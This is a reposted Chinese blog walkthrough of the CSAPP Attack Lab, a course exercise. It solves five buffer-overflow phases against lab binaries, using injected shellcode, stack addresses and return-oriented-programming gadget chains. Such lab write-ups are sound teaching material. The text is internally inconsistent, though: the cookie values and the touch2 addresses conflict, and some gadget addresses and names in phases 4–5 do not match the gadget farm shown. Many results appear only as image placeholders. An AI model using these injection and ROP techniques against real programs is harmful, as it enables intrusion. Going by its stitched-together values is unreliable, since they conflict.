• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

CSAPP理解计算机系统 AttackLab

武飞扬头像
见习宇航员_
帮助1

简介

本次实验涉及对两个具有不同安全漏洞的程序进行五次攻击,攻击方式分为两种 Code injection代码注入和 Reeturn-oriented programming(ROP)面向返回编程。

目的:
1、深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可以利用安全漏洞的方法。
2、更好地了解如何编写更安全的程序,以及编译器和操作系统提供一些帮助,以减少程序的易受攻击性。
3、深入了解x86-64机器代码的堆栈和参数传递机制。
4、深入了解x86-64指令的编码方式。
5、熟练使用gdb和objdump等调试工具。
文件说明
ctarget:一个容易遭受code injection攻击的可执行程序。
rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
整个Lab的大致流程就是,输入一个字符串,然后利用stack的buffer overflow,去修改stack中的数据,进而改变程序的运行,达成我们的攻击目的。具体地,是要通过反汇编上述文件通过文件中test()函数去调用getbuf()函数这个入口,来完成对stack某些部分的覆盖,利用两种攻击程序的技术,让程序调用我们希望调用的touch函数。

X68-64寄存器和堆栈
X86-64有16个64位寄存器
1、 %rax 作为函数返回值使用。
2、 %rsp 栈指针寄存器,指向栈顶。
3、 %rdi, %rsi, %rdx, %rcx, %r8, %r9 用作函数参数,依次对应第1参数,第2参数……
4、 %rbx, %rbp, %r12, %r13, ,  用作数据存储,遵循被调用者使用规则。
5、 %r10, %r11 用作数据存储,遵循调用者使用规则。
辅助工具说明
hex2raw:要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用 小端法字节序。(将输入的十六进制字符转换为相应ASCII码)
./hex2raw <attack.txt> attackraw.txt

CI:代码注入攻击

代码注入攻击:通过使缓冲区溢出,注入攻击代码。ctarget文件将执行test函数,实验·任务是在执行完getbuf函数后,程序不继续执行test函数,而是执行touch函数

在前三个阶段,因为程序的设置方式使堆栈位置在每次运行时保持一致,因此堆栈上的数据可以作为可执行代码处理。这些特性使程序容易受到攻击,攻击字符串包含可执行代码的字节编码。
通过objdump -d ctarget > ctarget.txt反汇编得到相应的汇编程序,根据汇编程序来完成试验任务。

phase_1

使getbuf返回时,执行touch1而不是返回test

0000000000401987 <test>:
  401987:	48 83 ec 08          	sub    $0x8,%rsp
  40198b:	b8 00 00 00 00       	mov    $0x0,x
  401990:	e8 78 fe ff ff       	callq  40180d <getbuf>
  401995:	89 c6                	mov    x,%esi
  401997:	bf 18 30 40 00       	mov    $0x403018,i //查看传递参数的内容
  40199c:	b8 00 00 00 00       	mov    $0x0,x
  4019a1:	e8 da f2 ff ff       	callq  400c80 <printf@plt>
  4019a6:	48 83 c4 08          	add    $0x8,%rsp
  4019aa:	c3                   	retq   
  4019ab:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)

test函数中的内容。test中调用了getbuf函数,esi中保存了传递的第一个参数。

000000000040180d <getbuf>:
  40180d:	48 83 ec 28          	sub    $0x28,%rsp #getbuf创建的缓冲区大小为0x28=40字节。
  401811:	48 89 e7             	mov    %rsp,%rdi
  401814:	e8 31 02 00 00       	callq  401a4a <Gets>
  401819:	b8 01 00 00 00       	mov    $0x1,x
  40181e:	48 83 c4 28          	add    $0x28,%rsp
  401822:	c3                   	retq   

touch1函数的起始地址为0x4018。getbuf在栈中分配了40个字节的内存来存储输入数据。在执行ret指令后,从%rsp 40处获得返回地址,因此我们需要来利用缓冲区溢出覆盖掉其返回地址,就可以将返回地址修改为touch1的起始地址,即将输入的第40-47个字符写为touch1函数的起始地址。

0000000000401823 <touch1>:
  401823:	48 83 ec 08          	sub    $0x8,%rsp
  401827:	c7 05 cb 2c 20 00 01 	movl   $0x1,0x202ccb(%rip)        # 6044fc <vlevel>
  40182e:	00 00 00 
  401831:	bf 51 2f 40 00       	mov    $0x402f51,i
  401836:	e8 15 f4 ff ff       	callq  400c50 <puts@plt>
  40183b:	bf 01 00 00 00       	mov    $0x1,i
  401840:	e8 f4 03 00 00       	callq  401c39 <validate>
  401845:	bf 00 00 00 00       	mov    $0x0,i
  40184a:	e8 91 f5 ff ff       	callq  400de0 <exit@plt>

touch1

学新通

上面字符是填充满整个缓冲区(40字节)从而溢出 用函数touch1的起始地址覆盖原先的返回地址

phase_2

使getbuf返回时,执行touch2而不是返回test,并且让touch2以为其接受的输入参数是cookie 0x3159fe74

touch2函数的起始地址为0x40184f,根据x86-64寄存器规则和汇编代码可知touch2函数的输入参数存储在寄存器%rdi。所以我们需要在进入touch2之前先跳转到某个地方,执行注入代码,将修改寄存器%rdi的值为cookie,然后再跳转。所以步骤为:
1、将cookie放入寄存器%rdi中,然后将touch2函数的起始地址压入栈中,这样通过ret指令返回时就可以跳转到touch2。
2、然后将利用缓冲区溢出的漏洞将getbuf函数返回到上述代码的起始位置,即从缓冲区的起始位置执行攻击代码。
流程为:getbuf -> ret = 缓冲区起始地址 -> 注入代码 -> ret -> touch2起始地址
注入代码指令如下:

mov  0x3159fe74, %rdi
pushq $0x40184f //ret指令后出栈跳转到touch2
ret
  • 利用编译和反汇编获得注入代码的机器代码:
    gcc -c attack1.s
    objdump -d attack1.o > attack1.txt
  • 们需要知道这段代码在程序中为位置,内存中存储这段代码的位置是由getbuf开辟的缓冲区,而getbuf利用Gets开辟缓冲区,因此我们需要利用gdb查看缓冲区的起始位置。
  • 缓冲区的起始地址为0x55615fd8
000000000040184f <touch2>:
  40184f:	48 83 ec 08          	sub    $0x8,%rsp
  401853:	89 fe                	mov    i,%esi
  401855:	c7 05 9d 2c 20 00 02 	movl   $0x2,0x202c9d(%rip)        # 6044fc <vlevel>
  40185c:	00 00 00 
  40185f:	3b 3d 9f 2c 20 00    	cmp    0x202c9f(%rip),i        # 604504 <cookie>
  401865:	75 1b                	jne    401882 <touch2 0x33>
  401867:	bf 78 2f 40 00       	mov    $0x402f78,i
  40186c:	b8 00 00 00 00       	mov    $0x0,x
  401871:	e8 0a f4 ff ff       	callq  400c80 <printf@plt>
  401876:	bf 02 00 00 00       	mov    $0x2,i
  40187b:	e8 b9 03 00 00       	callq  401c39 <validate>
  401880:	eb 19                	jmp    40189b <touch2 0x4c>
  401882:	bf a0 2f 40 00       	mov    $0x402fa0,i
  401887:	b8 00 00 00 00       	mov    $0x0,x
  40188c:	e8 ef f3 ff ff       	callq  400c80 <printf@plt>
  401891:	bf 02 00 00 00       	mov    $0x2,i
  401896:	e8 50 04 00 00       	callq  401ceb <fail>
  40189b:	bf 00 00 00 00       	mov    $0x0,i
  4018a0:	e8 3b f5 ff ff       	callq  400de0 <exit@plt>

学新通

touch2

学新通

phase_3

touch3也需要传入cookie但是要求以字符串的形式传入。和touch2的区别是touch3的参数是cookie的字符串地址, 寄存器%rdi存储cookie字符串的地址。

touch3的起始地址为0x401923。因为在函数中调用了hexmatch函数,并且该函数申请了110字节的内存空间,如果cookie存储在缓冲区内会被覆盖掉,因此通过gdb查看调用hexmatch后栈顶地址为0x55616000,将字符串存储在栈之外即0x55616008处。
cookie值0x55997fa的ACSII码为33 31 35 39 66 65 77 34,末尾的00是字符串结束标识符\n。注入代码为:

   0:	48 c7 c7 08 60 61 55 	mov    $0x55616008,%rdi  #存入cookie值ASCII码的地址
   7:	68 23 19 40 00       	pushq  $0x401923    #跳转touch3
   c:	c3                   	retq   
0000000000401923 <touch3>:
  401923:	53                   	push   %rbx
  401924:	48 89 fb             	mov    %rdi,%rbx
  401927:	c7 05 cb 2b 20 00 03 	movl   $0x3,0x202bcb(%rip)        # 6044fc <vlevel>
  40192e:	00 00 00 
  401931:	48 89 fe             	mov    %rdi,%rsi
  401934:	8b 3d ca 2b 20 00    	mov    0x202bca(%rip),i        # 604504 <cookie>
  40193a:	e8 66 ff ff ff       	callq  4018a5 <hexmatch>
  40193f:	85 c0                	test   x,x
  401941:	74 1e                	je     401961 <touch3 0x3e>
  401943:	48 89 de             	mov    %rbx,%rsi
  401946:	bf c8 2f 40 00       	mov    $0x402fc8,i
  40194b:	b8 00 00 00 00       	mov    $0x0,x
  401950:	e8 2b f3 ff ff       	callq  400c80 <printf@plt>
  401955:	bf 03 00 00 00       	mov    $0x3,i
  40195a:	e8 da 02 00 00       	callq  401c39 <validate>
  40195f:	eb 1c                	jmp    40197d <touch3 0x5a>
  401961:	48 89 de             	mov    %rbx,%rsi
  401964:	bf f0 2f 40 00       	mov    $0x402ff0,i
  401969:	b8 00 00 00 0 0       	mov    $0x0,x
  40196e:	e8 0d f3 ff ff       	callq  400c80 <printf@plt>
  401973:	bf 03 00 00 00       	mov    $0x3,i
  401978:	e8 6e 03 00 00       	callq  401ceb <fail>
  40197d:	bf 00 00 00 00       	mov    $0x0,i
  401982:	e8 59 f4 ff ff       	callq  400de0 <exit@plt>
学新通

cookie

学新通

touch3.txt

学新通

ROP:面向返回的编程

下面的两关都是使用ROP攻击的例子了,因为栈随机化,所以不能使用固定的%rsp地址跳转,有些区域还会禁止代码可执行,这里使用ROP,用程序自身的代码片段来构造攻击。

缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。

1 栈随机化

栈随机化的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。上述3个阶段中,栈的地址是固定的,所以我们可以获取到栈的地址,并跳转到栈的指定位置。

2 栈破坏检测

最近的GCC版本在产生的代码加入了一种栈保护者机制,来检测缓冲区越界。其思想是在栈帧中任何局部缓冲区和栈状态之间存储一个特殊的金丝雀值。在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个操作改变了。如果是的,那么程序异常中止。

3 限制可执行代码区域

最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。

  • cookie值传递给%rdi,难点在于如何用已有的gadget拼凑出我们需要的指令,可参考如下的指令表。
  • touch2的起始地址放到栈中。查看汇编代码得到touch2地址为0x4017ec

学新通

学新通

学新通

学新通

另外,ret的字节编码是0xc3nop的字节编码是0x90,啥也不做,只是将%rip加1。

可以在start_farmend_farm之间找到所有可利用的gadget

00000000004019ab <start_farm>:
  4019ab:	b8 01 00 00 00       	mov    $0x1,x
  4019b0:	c3                   	retq   

00000000004019b1 <getval_459>:
  4019b1:	b8 58 c1 a5 ee       	mov    $0xeea5c158,x
  4019b6:	c3                   	retq   

00000000004019b7 <setval_253>:
  4019b7:	c7 07 48 88 c7 c3    	movl   $0xc3c78848,(%rdi)
  4019bd:	c3                   	retq   

00000000004019be <addval_162>:
  4019be:	8d 87 33 ed 78 90    	lea    -0x6f8712cd(%rdi),x
  4019c4:	c3                   	retq   

00000000004019c5 <setval_123>:
  4019c5:	c7 07 58 90 90 c3    	movl   $0xc3909058,(%rdi)
  4019cb:	c3                   	retq   

00000000004019cc <addval_227>:
  4019cc:	8d 87 c3 12 58 c3    	lea    -0x3ca7ed3d(%rdi),x
  4019d2:	c3                   	retq   

00000000004019d3 <addval_498>:
  4019d3:	8d 87 d0 68 89 c7    	lea    -0x38769730(%rdi),x
  4019d9:	c3                   	retq   

00000000004019da <setval_231>:
  4019da:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  4019e0:	c3                   	retq   

00000000004019e1 <addval_409>:
  4019e1:	8d 87 48 89 c7 90    	lea    -0x6f3876b8(%rdi),x
  4019e7:	c3                   	retq   

00000000004019e8 <mid_farm>:
  4019e8:	b8 01 00 00 00       	mov    $0x1,x
  4019ed:	c3                   	retq   

00000000004019ee <add_xy>:
  4019ee:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019f2:	c3                   	retq   

00000000004019f3 <addval_236>:
  4019f3:	8d 87 99 ca 90 c3    	lea    -0x3c6f3567(%rdi),x
  4019f9:	c3                   	retq   

00000000004019fa <getval_214>:
  4019fa:	b8 89 c1 90 c7       	mov    $0xc790c189,x
  4019ff:	c3                   	retq   

0000000000401a00 <setval_286>:
  401a00:	c7 07 09 d6 38 c0    	movl   $0xc038d609,(%rdi)
  401a06:	c3                   	retq   

0000000000401a07 <addval_314>:
  401a07:	8d 87 48 8d e0 c3    	lea    -0x3c1f72b8(%rdi),x
  401a0d:	c3                   	retq   

0000000000401a0e <getval_171>:
  401a0e:	b8 8d d6 20 c9       	mov    $0xc920d68d,x
  401a13:	c3                   	retq   

0000000000401a14 <getval_102>:
  401a14:	b8 89 c1 c4 db       	mov    $0xdbc4c189,x
  401a19:	c3                   	retq   

0000000000401a1a <setval_216>:
  401a1a:	c7 07 48 89 e0 92    	movl   $0x92e08948,(%rdi)
  401a20:	c3                   	retq   

0000000000401a21 <getval_131>:
  401a21:	b8 48 81 e0 90       	mov    $0x90e08148,x
  401a26:	c3                   	retq   

0000000000401a27 <addval_494>:
  401a27:	8d 87 89 d6 84 c9    	lea    -0x367b2977(%rdi),x
  401a2d:	c3                   	retq   

0000000000401a2e <setval_355>:
  401a2e:	c7 07 09 d6 c3 38    	movl   $0x38c3d609,(%rdi)
  401a34:	c3                   	retq   

0000000000401a35 <setval_279>:
  401a35:	c7 07 89 c1 90 90    	movl   $0x9090c189,(%rdi)
  401a3b:	c3                   	retq   

0000000000401a3c <setval_201>:
  401a3c:	c7 07 99 ca 08 db    	movl   $0xdb08ca99,(%rdi)
  401a42:	c3                   	retq   

0000000000401a43 <setval_452>:
  401a43:	c7 07 88 d6 84 db    	movl   $0xdb84d688,(%rdi)
  401a49:	c3                   	retq   

0000000000401a4a <setval_437>:
  401a4a:	c7 07 a9 ca 38 c0    	movl   $0xc038caa9,(%rdi)
  401a50:	c3                   	retq   

0000000000401a51 <addval_289>:
  401a51:	8d 87 b6 89 d6 90    	lea    -0x6f29764a(%rdi),x
  401a57:	c3                   	retq   

0000000000401a58 <setval_219>:
  401a58:	c7 07 48 81 e0 90    	movl   $0x90e08148,(%rdi)
  401a5e:	c3                   	retq   

0000000000401a5f <setval_325>:
  401a5f:	c7 07 89 c1 48 d2    	movl   $0xd248c189,(%rdi)
  401a65:	c3                   	retq   

0000000000401a66 <setval_204>:
  401a66:	c7 07 89 ca 38 d2    	movl   $0xd238ca89,(%rdi)
  401a6c:	c3                   	retq   

0000000000401a6d <getval_109>:
  401a6d:	b8 48 89 e0 90       	mov    $0x90e08948,x
  401a72:	c3                   	retq   

0000000000401a73 <addval_271>:
  401a73:	8d 87 c9 ca 38 c0    	lea    -0x3fc73537(%rdi),x
  401a79:	c3                   	retq   

0000000000401a7a <addval_340>:
  401a7a:	8d 87 89 c1 38 c0    	lea    -0x3fc73e77(%rdi),x
  401a80:	c3                   	retq   

0000000000401a81 <setval_273>:
  401a81:	c7 07 48 89 e0 c3    	movl   $0xc3e08948,(%rdi)
  401a87:	c3                   	retq   

0000000000401a88 <setval_122>:
  401a88:	c7 07 89 ca 20 c9    	movl   $0xc920ca89,(%rdi)
  401a8e:	c3                   	retq   

0000000000401a8f <setval_401>:
  401a8f:	c7 07 89 ca 28 d2    	movl   $0xd228ca89,(%rdi)
  401a95:	c3                   	retq   

0000000000401a96 <addval_360>:
  401a96:	8d 87 89 c1 00 db    	lea    -0x24ff3e77(%rdi),x
  401a9c:	c3                   	retq   

0000000000401a9d <getval_164>:
  401a9d:	b8 89 c1 c4 db       	mov    $0xdbc4c189,x
  401aa2:	c3                   	retq   

0000000000401aa3 <setval_287>:
  401aa3:	c7 07 48 89 e0 c7    	movl   $0xc7e08948,(%rdi)
  401aa9:	c3                   	retq   

0000000000401aaa <getval_224>:
  401aaa:	b8 e1 89 d6 94       	mov    $0x94d689e1,x
  401aaf:	c3                   	retq   

0000000000401ab0 <addval_394>:
  401ab0:	8d 87 89 ca a4 d2    	lea    -0x2d5b3577(%rdi),x
  401ab6:	c3                   	retq   

0000000000401ab7 <setval_218>:
  401ab7:	c7 07 48 89 e0 92    	movl   $0x92e08948,(%rdi)
  401abd:	c3                   	retq   

0000000000401abe <getval_295>:
  401abe:	b8 89 d6 00 c9       	mov    $0xc900d689,x
  401ac3:	c3                   	retq   

0000000000401ac4 <addval_110>:
  401ac4:	8d 87 a7 99 c1 90    	lea    -0x6f3e6659(%rdi),x
  401aca:	c3                   	retq   

0000000000401acb <end_farm>:
  401acb:	b8 01 00 00 00       	mov    $0x1,x
  401ad0:	c3                   	retq   
  401ad1:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
  401ad8:	00 00 00 
  401adb:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
学新通

学新通

phase_4

要求
1、只能使用前八个x86-64寄存器 %rax-%rdi ;
2、只能使用 movq, popq, ret, nop的 gadget;
3、只能使用两个 gadget完成攻击;
和Level 2一样将cookie存储进寄存器%rdi内。所以需要在rterget中找到相应gadget,可以凑出相应的能够实现攻击的指令。先将寄存```器%rax的值设置为cookie,然后复制给%rdi。,可以拼凑出代码为:

popq	%rax   
ret            # 0x4019ab
mov		%rax,%rdi
ret            # 0x4019a2

学新通

mov rax rdi 48 89 c7 ret c3 4019dc

popq rax 58 4019c7

学新通

touch4:

学新通

phase_5

要求
1、只能使用前八个x86-64寄存器 %rax-%rdi ;
2、可以使用 movq, movl, popq, ret, nop的 gadget;
3、可以使用在 rtarget代码中在 start_farm和 end_farm区域内的任意 gadget完成攻击;
4、至少需要8个 gadget实现此次攻击。
需要将寄存器%rdi的值设置为cookie字符串的指针,即存储cookie字符串的地址。
找到满足要求的gadget拼凑出攻击指令

movq   %rsp,%rax    //传递栈顶位置栈顶位置
//因为不能将cookie字符串存储在栈顶位置,需要另找位置,将cookie字符串存储在rsp x处
add    $x  ,%rax    
movq   %rax,%rdi    //将cookie字符串地址传递给%rdi
  • 因此我们需要找到一个能够实现加法或减法的运算的gadget,但是参考文件中并没有以下相关的字节编码,需要寻找其他方法
mov   %rsp,%rax    # 48 89 e0    401a6e
ret			
mov   %rax,%rdi   #先将栈顶%rsp存入%rdi内 #4019dc
ret
popq  %rax         #将偏移量赋值给% 4019c7
ret                 
movl  x,x    
ret
movl  x,x
ret
movl  x,%esi   #%esi = 偏移量
ret
lea   (%rdi,%rsi,1),%rax #%rax = %rsp   偏移量
ret
mov   %rax,%rdi    #%rdi = cookie字符地址
ret

学新通

方法二:指令如下

// address is 0x401a06,execute a part of addval_190
movq %rsp,%rax
ret
//address is ox4019d8,execute a part of add_xy
add 0x37,%al
ret
//address is 0x4019c5,execute a part of addval_426
movq %rax,%rdi
ret

学新通

学新通

学新通

学新通

学新通

由上,可以知道攻击序列为

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhggihbg
系列文章
更多 icon
同类精品
更多 icon
继续加载